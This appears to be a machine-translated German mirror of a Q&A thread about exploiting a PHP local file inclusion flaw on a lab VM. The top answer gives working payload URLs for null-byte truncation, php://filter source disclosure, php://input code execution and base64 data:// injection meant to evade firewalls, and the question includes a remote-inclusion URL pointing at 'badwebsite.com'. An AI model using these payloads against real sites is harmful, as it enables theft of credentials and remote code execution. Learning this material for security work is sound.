it-swarm.com.de

PHP Sicherheits-Exploit - Liste der Inhalte von Remote PHP Datei?

Ich versuche, einige Web-Schwachstellen in einer Beispielwebsite auszunutzen, die in einem VM ausgeführt wird (es ist nicht im Web verfügbar - nur für Bildungszwecke). Ich habe eine PHP-Datei mit dem Namen setupreset.php, die Informationen zu MySQL-Konfigurationen, Setup und Passwörtern enthält, die zum Einrichten der Website verwendet werden. Dies befindet sich im selben Verzeichnis wie die restlichen PHP-Dateien (Index, Produkte, Forum usw.).

Dies ist der Code von index.php, als Referenz:

<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
    include("home.html"); 
} else { include ($page . '.php'); } 
include ("includes/footer.php");
?>

Das Hauptziel ist, den Inhalt der Datei setupreset PHP aufzulisten oder sie irgendwie herunterzuladen. Wenn ich zu dieser Datei navigiere: http://10.211.55.5/index.php?page=setupreset, wird sie ausgeführt, aber der PHP Code wird natürlich nicht angezeigt, da er vom PHP Interpreter analysiert wird.

Jetzt verwendet die Website PHP includes, sodass URLs wie folgt aussehen: http://10.211.55.5/index.php?page=products. Dies scheint anfällig für die Einbindung von Remotedateien zu sein, bei denen ich einfach auf eine andere PHP Seite verweisen könnte, z. http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php aber allow_url_include ist off und kann nicht geändert werden, daher funktioniert dies nicht (ich habe es versucht). Allerdings ist allow_url_fopen wahrscheinlich aktiviert (da es standardmäßig aktiviert ist). Meine Frage lautet daher: Ist es möglich, eine PHP -Datei oder ein Skript, das den Inhalt von setupreset.php auflistet, mithilfe dieser Art von Exploit hochzuladen?

7
swiftcode

Wenn allow_url_include deaktiviert ist, können Sie keinen Ferncode ausführen. Sie können jedoch andere Seiten finden, z. B. ein Content-Management-Dashboard, um Ihren Code als "Image" hochzuladen und dann den tatsächlichen Pfad und include zu finden.

Und es gibt immer noch Möglichkeiten, diese auszunutzen.

Schauen wir uns Ihren Code an. Möglicherweise stellen Sie fest, dass am Ende des Pfads automatisch eine Erweiterung .php hinzugefügt wird. Sie sollten also php in GET param entfernen. Was aber, wenn die Datei, die Sie einschließen möchten, nicht die Erweiterung PHP hat? Verwenden Sie dann %00, um die Zeichenfolge zu beenden, z. B.

http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00

Es gibt ein spezielles Protokoll in PHP, mächtig und gefährlich. Es ist php://. Sie können im offcial manual nach detaillierten Informationen suchen, und hier zeige ich Ihnen einige Fälle, in denen eine Sicherheitsanfälligkeit bei der Einbeziehung von Dateien zur Offenlegung von Quellen und sogar zu Sicherheitsanfälligkeiten durch Remotecodeausführung wird.

Vor Ihrem Test schlage ich vor, dass Sie Firefox mitHackBarplugin verwenden. Es ist eine leistungsfähige Penetrationstest-Suite.

  1. Quellenangaben

Für diese Funktion ist keine URL-Aufnahme zulässig.

php://filter ist eine Art Meta-Wrapper, die das Anwenden von Filtern auf einen Stream zum Zeitpunkt des Öffnens zulässt. Dies ist nützlich bei All-in-One-Dateifunktionen wie readfile (), file () und file_get_contents (), bei denen ansonsten keine Möglichkeit besteht, vor dem Lesen des Inhalts einen Filter auf den Stream anzuwenden. ( Referenz )

Dann können Sie die Quelle secret.inc.php im selben Verzeichnis durch folgende Anfrage sehen.

http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc

demo

Der Inhalt der Datei wird in base64 codiert. Daher wird die Binärdatei unterstützt.

Es ist leistungsstark , um vertrauliche Informationen wie Datenbankkennwörter oder einen Verschlüsselungsschlüssel abzurufen! Wenn das Privileg nicht ordnungsgemäß konfiguriert ist, kann es sogar aus dem Käfig springen und Daten aus Dateien in externen Verzeichnissen wie /etc/passwd extrahieren!

  1. Remote-Code-Ausführung

Auf diese Weise können Sie eigentlich nichts ausnutzen, da allow_url_include in diesem Fall deaktiviert ist.

Aber ich muss darauf hinweisen, denn es ist magisch !

Es unterscheidet sich völlig vom lokalen Include. Es muss keine Datei auf einen Remote-Server hochgeladen werden. Alles was Sie brauchen ist eine einzige Anfrage.

php://input kann auf den rohen HTTP-Anforderungshauptteil zugreifen. Was macht include("php://input")? Besuchen Sie einfach http://localhost/include.php?page=php://input, mit gültigem PHP-Code im Anforderungshauptteil. Dann können Sie jede (zulässige) Funktion auf dem Remote-Server ausführen!

enter image description here

Vergessen Sie nicht den %00, um den .php-Schwanz abzulegen.

Außerdem unterstützt PHP das URL-Schema data://. Sie können Code direkt in GET param eingeben! Der folgende Test benötigt kein spezielles Werkzeug, nur ein normaler Browser kann einen Angriff ausführen. 

http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>

Einige Web Application Firewalls erkennen möglicherweise einen verdächtigen String in der URL und blockieren böse Anfragen. Die Variable phpinfo wird nicht alleine gelassen. Gibt es eine Möglichkeit zu verschlüsseln? Na sicher. data:// URL unterstützt mindestens die Base64-Kodierung ...

http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

Und Sie werden wieder mit phpinfo vertraut!

with base64 encoding

Hinweis

Der Null-Byte-Trick (%00) funktioniert nicht mehr für PHP> = 5.3.4: http://blog.benjaminwalters.net/?p=22139

33
CodeColorist

Verwenden Sie eine Verzeichnisdurchquerung, und beenden Sie die Eingabezeichenfolge mit einem %00 NUL-Metazeichen (wie in wikipedia erwähnt).

http://example.com/index.php?page=setuppreset%00

Dadurch wird das Suffix ".php" aus der Aufnahme entfernt und es kann Ihnen irgendwie helfen.

2
nietonfir

Es ist nicht. Die PHP-Datei wird ausgeführt, weil Sie include aufrufen. Wenn Sie readfile, file_get_contents oder ähnliches aufgerufen haben, können Sie den Inhalt der PHP-Datei sehen.

0
Evert